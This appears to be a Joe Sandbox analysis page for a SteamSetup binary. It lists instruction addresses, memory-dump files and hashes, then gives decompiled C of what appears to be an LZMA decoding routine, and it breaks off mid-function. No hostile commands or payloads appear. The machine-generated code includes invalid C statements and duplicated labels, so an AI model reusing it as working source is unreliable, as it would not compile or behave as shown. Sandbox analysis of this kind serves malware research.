0x00406c89
0x00406c90
0x00406c93
0x00406ca1
0x00000000
0x00000000
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00000000
0x00000000
0x00406f86
0x00406f86
0x00406f8a
0x004070c2
0x00000000
0x004070c2
0x00406f90
0x00406f93
0x00406f96
0x00406f9a
0x00406f9d
0x00406fa3
0x00406fa5
0x00406fa5
0x00406fa5
0x00406fa8
0x00406fab
0x00406fab
0x00406fab
0x00406fab
0x00406fae
0x00406fae
0x00406fb2
0x00407012
0x00407015
0x0040701a
0x0040701b
0x0040701d
0x0040701f
0x00407022
0x00406f2e
0x00406f2e
0x00000000
0x00406f34
0x00406f2e
0x00406fb4
0x00406fba
0x00406fbd
0x00406fc0
0x00406fc3
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fee
0x00406ff1
0x00406ff4
0x00406ff7
0x00406ffb
0x00406ffd
0x00406ffd
0x00406ffe
0x00407001
0x00406fd7
0x00406fd7
0x00406fdf
0x00406fe4
0x00406fe6
0x00406fe9
0x00406fe9
0x00407004
0x0040700b
0x00000000
0x0040700d
0x00000000
0x0040700d
0x00000000
0x00406ca9
0x00406cac
0x00406ce2
0x00406e12
0x00406e12
0x00406e12
0x00406e12
0x00406e15
0x00406e15
0x00406e18
0x00406e1a
0x004070a4
0x00000000
0x004070a4
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2d
0x00406e30
0x00406e30
0x00406e30
0x00000000
0x00406e30
0x00406cae
0x00406cb0
0x00406cb2
0x00406cb4
0x00406cb7
0x00406cb8
0x00406cba
0x00406cbc
0x00406cbf
0x00406cc2
0x00406cd8
0x00406cdd
0x00406d15
0x00406d15
0x00406d19
0x00406d45
0x00406d47
0x00406d4e
0x00406d51
0x00406d54
0x00406d54
0x00406d59
0x00406d59
0x00406d5b
0x00406d5e
0x00406d65
0x00406d68
0x00406d95
0x00406d95
0x00406d98
0x00406d9b
0x00406e0f
0x00406e0f
0x00406e0f
0x00000000
0x00406e0f
0x00406d9d
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406db2
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dd7
0x00406dd9
0x00406ddc
0x00406ddd
0x00406de0
0x00406de2
0x00406de5
0x00406de7
0x00406de9
0x00406dec
0x00406dee
0x00406df1
0x00406df5
0x00406df7
0x00406df7
0x00406df8
0x00406dfb
0x00406dfe
0x00406dc0
0x00406dc0
0x00406dc8
0x00406dcd
0x00406dcf
0x00406dd2
0x00406dd2
0x00406e01
0x00406e08
0x00406d92
0x00406d92
0x00406d92
0x00406d92
0x00000000
0x00406e0a
0x00000000
0x00406e0a
0x00406e08
0x00406d1b
0x00406d1e
0x00406d20
0x00406d23
0x00406d26
0x00406d29
0x00406d2b
0x00406d2e
0x00406d31
0x00406d31
0x00406d34
0x00406d34
0x00406d37
0x00406d3e
0x00406d12
0x00406d12
0x00406d12
0x00406d12
0x00000000
0x00406d40
0x00000000
0x00406d40
0x00406d3e
0x00406cc4
0x00406cc7
0x00406cc9
0x00406ccc
0x00000000
0x00000000
0x00406a2b
0x00406a2b
0x00406a2f
0x00407074
0x00000000
0x00407074
0x00406a35
0x00406a38
0x00406a3b
0x00406a3e
0x00406a41
0x00406a44
0x00406a47
0x00406a49
0x00406a4c
0x00406a4f
0x00406a52
0x00406a54
0x00406a54
0x00406a54
0x00000000
0x00000000
0x00406bb6
0x00406bb6
0x00406bba
0x00407080
0x00000000
0x00407080
0x00406bc0
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcb
0x00406bcb
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406bda
0x00406bdd
0x00406bde
0x00406be0
0x00406be0
0x00406be0
0x00406be3
0x00406be6
0x00406be9
0x00406bec
0x00406bec
0x00406bec
0x00406bef
0x00406bf1
0x00406bf1
0x00000000
0x00000000
0x00406e33
0x00406e33
0x00406e33
0x00406e37
0x00000000
0x00000000
0x00406e3d
0x00406e40
0x00406e43
0x00406e46
0x00406e48
0x00406e48
0x00406e48
0x00406e4b
0x00406e4e
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5b
0x00406e5d
0x00406e5d
0x00406e5d
0x00406e60
0x00406e63
0x00406e66
0x00406e69
0x00406e6c
0x00406e70
0x00406e72
0x00406e75
0x00000000
0x00406e77
0x00406bf4
0x00406bf4
0x00000000
0x00406bf4
0x00406e75
0x004070aa
0x00000000
0x00000000
0x004066d9
0x004070e1
0x004070e1
0x00000000
0x004070e1
0x00406f2e
0x00406eb5
0x00406eb2
0x00000000
0x00406c07

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29e3b149f88ae6fd458fdcc74d478f48b2ed7dfe8c3e809ea2d72e9fd2fa3729
Instruction ID: f96eec566abe8136b7696836c8602221009d3abbc3cba5cf828ad5cd02611e0d
Opcode Fuzzy Hash: 29e3b149f88ae6fd458fdcc74d478f48b2ed7dfe8c3e809ea2d72e9fd2fa3729
Instruction Fuzzy Hash: 56713371D04228CBEF28CFA8C844BADBBB1FF44305F15816AD856BB281C7789996DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406B4F Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406B4F() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004070E9))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
